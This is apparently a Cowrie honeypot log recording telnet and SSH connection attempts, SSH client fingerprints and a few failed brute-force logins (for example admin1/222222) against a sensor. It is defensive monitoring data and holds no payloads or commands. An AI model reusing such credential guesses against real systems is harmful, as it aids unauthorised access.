{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":37528,"dst_ip":"159.203.135.109","dst_port":23,"session":"ded47c99ec98","protocol":"telnet","message":"New connection: 149.56.37.12:37528 (159.203.135.109:23) [session: ded47c99ec98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:36.587722Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":38686,"dst_ip":"159.203.135.109","dst_port":23,"session":"d22ee7283da1","protocol":"telnet","message":"New connection: 149.56.37.12:38686 (159.203.135.109:23) [session: d22ee7283da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:37.347227Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":41756,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddf8f59ecf3d","protocol":"telnet","message":"New connection: 149.56.37.12:41756 (159.203.135.109:23) [session: ddf8f59ecf3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:39.260499Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":45632,"dst_ip":"159.203.135.109","dst_port":23,"session":"79e68078cf4e","protocol":"telnet","message":"New connection: 149.56.37.12:45632 (159.203.135.109:23) [session: 79e68078cf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:41.862622Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":48670,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a51e7cc0457","protocol":"telnet","message":"New connection: 149.56.37.12:48670 (159.203.135.109:23) [session: 0a51e7cc0457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:43.864752Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":50902,"dst_ip":"159.203.135.109","dst_port":23,"session":"9070a63d3bd2","protocol":"telnet","message":"New connection: 149.56.37.12:50902 (159.203.135.109:23) [session: 9070a63d3bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:45.422277Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59744,"dst_ip":"159.203.135.109","dst_port":22,"session":"0305bc8e78ac","protocol":"ssh","message":"New connection: 159.203.92.129:59744 (159.203.135.109:22) [session: 0305bc8e78ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:46.273297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:46.285963Z","src_ip":"159.203.92.129","session":"0305bc8e78ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:46.290075Z","src_ip":"159.203.92.129","session":"0305bc8e78ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"222222","message":"login attempt [admin1/222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:46.324383Z","src_ip":"159.203.92.129","session":"0305bc8e78ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":52534,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1ec1c6074cb","protocol":"telnet","message":"New connection: 149.56.37.12:52534 (159.203.135.109:23) [session: e1ec1c6074cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:46.449927Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:47.334175Z","src_ip":"159.203.92.129","session":"0305bc8e78ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":49762,"dst_ip":"159.203.135.109","dst_port":23,"session":"74cc5b7fae50","protocol":"telnet","message":"New connection: 162.254.118.99:49762 (159.203.135.109:23) [session: 74cc5b7fae50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:48.126579Z"}
{"eventid":"cowrie.session.closed","duration":35.39422345161438,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:48.272997Z","src_ip":"149.56.37.12","session":"856323767a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"a32ffa843b27","protocol":"telnet","message":"New connection: 149.56.37.12:56720 (159.203.135.109:23) [session: a32ffa843b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:49.172318Z"}
{"eventid":"cowrie.session.closed","duration":36.923632860183716,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:49.691007Z","src_ip":"149.56.37.12","session":"f9bb8c611d4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.07870125770569,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:49.696021Z","src_ip":"149.56.37.12","session":"1015ae376743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":57500,"dst_ip":"159.203.135.109","dst_port":23,"session":"19675aef9c85","protocol":"telnet","message":"New connection: 149.56.37.12:57500 (159.203.135.109:23) [session: 19675aef9c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:49.766457Z"}
{"eventid":"cowrie.session.closed","duration":36.79552102088928,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:50.223576Z","src_ip":"149.56.37.12","session":"467bae85acc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.84685230255127,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:50.320249Z","src_ip":"149.56.37.12","session":"c0756bd1f992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.942317724227905,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:51.323530Z","src_ip":"149.56.37.12","session":"de6d6038f2b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.003684997558594,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:51.335357Z","src_ip":"149.56.37.12","session":"31e8f3edce45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.62561058998108,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:51.410592Z","src_ip":"149.56.37.12","session":"2d8130672d4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91031265258789,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:52.587860Z","src_ip":"149.56.37.12","session":"67b84b356a3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":44414,"dst_ip":"159.203.135.109","dst_port":22,"session":"10d2fd2bf89b","protocol":"ssh","message":"New connection: 45.120.216.232:44414 (159.203.135.109:22) [session: 10d2fd2bf89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:53.326073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:53.330443Z","src_ip":"45.120.216.232","session":"10d2fd2bf89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:53.582782Z","src_ip":"45.120.216.232","session":"10d2fd2bf89b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"qwerty","message":"login attempt [username/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:54.588203Z","src_ip":"45.120.216.232","session":"10d2fd2bf89b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":39956,"dst_ip":"159.203.135.109","dst_port":23,"session":"062401de57f9","protocol":"telnet","message":"New connection: 149.56.37.12:39956 (159.203.135.109:23) [session: 062401de57f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:55.765266Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:55.842353Z","src_ip":"45.120.216.232","session":"10d2fd2bf89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.46654486656189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:57.383918Z","src_ip":"149.56.37.12","session":"6f739a69dd7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":45668,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e1ce1f0726c","protocol":"telnet","message":"New connection: 149.56.37.12:45668 (159.203.135.109:23) [session: 7e1ce1f0726c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:59.236744Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":45750,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b66a83b52ae","protocol":"telnet","message":"New connection: 149.56.37.12:45750 (159.203.135.109:23) [session: 1b66a83b52ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:59.340925Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":47772,"dst_ip":"159.203.135.109","dst_port":23,"session":"125033caf854","protocol":"telnet","message":"New connection: 149.56.37.12:47772 (159.203.135.109:23) [session: 125033caf854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:00.713905Z"}
{"eventid":"cowrie.session.closed","duration":38.60170793533325,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:00.808415Z","src_ip":"149.56.37.12","session":"3f7053d768a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.93587613105774,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:01.684804Z","src_ip":"149.56.37.12","session":"1378aa34aadf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.66311001777649,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:03.235496Z","src_ip":"149.56.37.12","session":"2c5ad8e161fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.349300146102905,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:03.279855Z","src_ip":"149.56.37.12","session":"e611f4c9313b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.355035066604614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:03.919925Z","src_ip":"149.56.37.12","session":"08c9003679c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.12367582321167,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:04.767999Z","src_ip":"149.56.37.12","session":"ef6a1eb543a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":55748,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5fa54dabadf","protocol":"telnet","message":"New connection: 149.56.37.12:55748 (159.203.135.109:23) [session: e5fa54dabadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:06.085618Z"}
{"eventid":"cowrie.session.closed","duration":35.257508993148804,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:06.262432Z","src_ip":"149.56.37.12","session":"82c7db4f2c37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.787001609802246,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:06.274747Z","src_ip":"149.56.37.12","session":"d6d649cb737d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.43222737312317,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:06.281030Z","src_ip":"149.56.37.12","session":"010fb92910b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.69886541366577,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:07.164848Z","src_ip":"149.56.37.12","session":"ce929df8e0c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":58146,"dst_ip":"159.203.135.109","dst_port":23,"session":"64e542af2bd8","protocol":"telnet","message":"New connection: 149.56.37.12:58146 (159.203.135.109:23) [session: 64e542af2bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:07.702914Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":58434,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f5548386b6","protocol":"telnet","message":"New connection: 149.56.37.12:58434 (159.203.135.109:23) [session: c9f5548386b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:07.841996Z"}
{"eventid":"cowrie.session.closed","duration":35.304057359695435,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:09.486412Z","src_ip":"149.56.37.12","session":"e5a223270792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.853240966796875,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:09.817306Z","src_ip":"149.56.37.12","session":"900be62dbcb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.19165396690369,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:10.070947Z","src_ip":"149.56.37.12","session":"3ed02f8b5167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.202568769454956,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:10.790174Z","src_ip":"149.56.37.12","session":"ded47c99ec98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.43767166137695,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:15.784774Z","src_ip":"149.56.37.12","session":"d22ee7283da1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.25688552856445,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:16.517262Z","src_ip":"149.56.37.12","session":"ddf8f59ecf3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.72051548957825,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:17.583042Z","src_ip":"149.56.37.12","session":"79e68078cf4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.74693250656128,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:18.611591Z","src_ip":"149.56.37.12","session":"0a51e7cc0457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8687002658844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:18.995174Z","src_ip":"162.254.118.99","session":"74cc5b7fae50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":49462,"dst_ip":"159.203.135.109","dst_port":23,"session":"261ea57adc37","protocol":"telnet","message":"New connection: 162.254.118.99:49462 (159.203.135.109:23) [session: 261ea57adc37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:20.458701Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":49470,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9eeb88d6820","protocol":"telnet","message":"New connection: 162.254.118.99:49470 (159.203.135.109:23) [session: a9eeb88d6820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:21.129643Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":49484,"dst_ip":"159.203.135.109","dst_port":23,"session":"66b7498cf473","protocol":"telnet","message":"New connection: 162.254.118.99:49484 (159.203.135.109:23) [session: 66b7498cf473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:21.497973Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":51890,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a30cd9efeec","protocol":"telnet","message":"New connection: 149.56.37.12:51890 (159.203.135.109:23) [session: 6a30cd9efeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:21.740800Z"}
{"eventid":"cowrie.session.closed","duration":35.943180322647095,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:22.392989Z","src_ip":"149.56.37.12","session":"e1ec1c6074cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.09784984588623,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:22.519952Z","src_ip":"149.56.37.12","session":"9070a63d3bd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":49492,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ecba16341da","protocol":"telnet","message":"New connection: 162.254.118.99:49492 (159.203.135.109:23) [session: 6ecba16341da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:23.178060Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":54974,"dst_ip":"159.203.135.109","dst_port":23,"session":"a659487c1b11","protocol":"telnet","message":"New connection: 149.56.37.12:54974 (159.203.135.109:23) [session: a659487c1b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:23.666959Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":57300,"dst_ip":"159.203.135.109","dst_port":23,"session":"6109c6b173f6","protocol":"telnet","message":"New connection: 149.56.37.12:57300 (159.203.135.109:23) [session: 6109c6b173f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:25.272560Z"}
{"eventid":"cowrie.session.closed","duration":36.41003155708313,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:25.582162Z","src_ip":"149.56.37.12","session":"a32ffa843b27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85157084465027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:26.616693Z","src_ip":"149.56.37.12","session":"062401de57f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":59474,"dst_ip":"159.203.135.109","dst_port":23,"session":"76351db1f638","protocol":"telnet","message":"New connection: 149.56.37.12:59474 (159.203.135.109:23) [session: 76351db1f638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:26.782486Z"}
{"eventid":"cowrie.session.closed","duration":37.453452587127686,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:27.219774Z","src_ip":"149.56.37.12","session":"19675aef9c85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":33054,"dst_ip":"159.203.135.109","dst_port":23,"session":"adf4440cb812","protocol":"telnet","message":"New connection: 149.56.37.12:33054 (159.203.135.109:23) [session: adf4440cb812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:27.817393Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":33512,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1a4ce805ba3","protocol":"telnet","message":"New connection: 149.56.37.12:33512 (159.203.135.109:23) [session: f1a4ce805ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:28.077976Z"}
